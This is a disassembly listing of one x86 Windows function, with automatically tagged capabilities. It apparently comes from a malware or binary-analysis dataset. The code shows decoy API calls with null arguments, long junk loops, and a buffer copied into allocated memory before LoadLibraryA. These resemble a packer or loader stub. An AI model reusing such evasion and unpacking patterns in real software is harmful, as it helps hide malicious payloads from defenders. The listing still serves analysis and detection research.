Function at 0x403870
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x428ce3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x18ec
call fcn.0040ab70
push ebx
push esi
xor ebx, ebx
cmp dword [0x2a9f348], 0x5b1
push edi
jne 0x403946
push ebx
push ebx
lea eax, [esp + 0x900]
push eax
push ebx
push ebx
call sub.USER32.dll_DdeQueryStringW
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x100]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0x402f58
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea eax, [esp + 0x2c]
call fcn.00403c36
push ebx
mov dword [esp + 0x1908], ebx
call fcn.004040bc
pop ecx
lea esi, [esp + 0x18]
call fcn.00403470
mov ecx, esi
call fcn.00403490
push ebx
push ebx
call fcn.00403f39
push ebx
call fcn.00403f0a
push ebx
call fcn.00404138
add esp, 0x10
push ebx
call fcn.004043e8
add dword [0x2a9f348], 0x1134b
push dword [0x2a9f348]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2a9e298], eax
call fcn.004037bb
xor esi, esi
cmp dword [0x2a9f348], ebx
jbe 0x4039a6
cmp dword [0x2a9f348], 0xa8
mov eax, dword [0x2a9f34c]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2a9e298]
mov byte [ecx + esi], al
jne 0x40399d
push 0x403034
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
inc esi
cmp esi, dword [0x2a9f348]
jb 0x403971
xor esi, esi
mov eax, dword [0x2a9f348]
add eax, esi
cmp eax, 0xe
jne 0x403a27
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push ebx
lea eax, [esp + 0x8fc]
push eax
push ebx
push 0x403068
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea eax, [esp + 0x10]
push eax
push ebx
push 0x4030c0
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push ebx
push ebx
lea eax, [esp + 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [esp + 0x10fc]
push eax
push 0x40310c
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
inc esi
cmp esi, 0x39621
jl 0x4039a8
call fcn.004036a6
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x26
jne 0x403a4b
call fcn.004037a1
inc esi
cmp esi, 0x6753f
jl 0x403a3b
push 0x7b
pop esi
cmp dword [0x2a9f348], 0x86
jne 0x403ac2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0xfc]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
mov word [esp + 0x2c], ax
lea edi, [esp + 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x18], ax
lea edi, [esp + 0x1a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebx
lea eax, [esp + 0x8fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x2a9f348], 0xf
jne 0x403ad7
push ebx
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
dec esi
jne 0x403a57
push 0x403138
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x18fc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret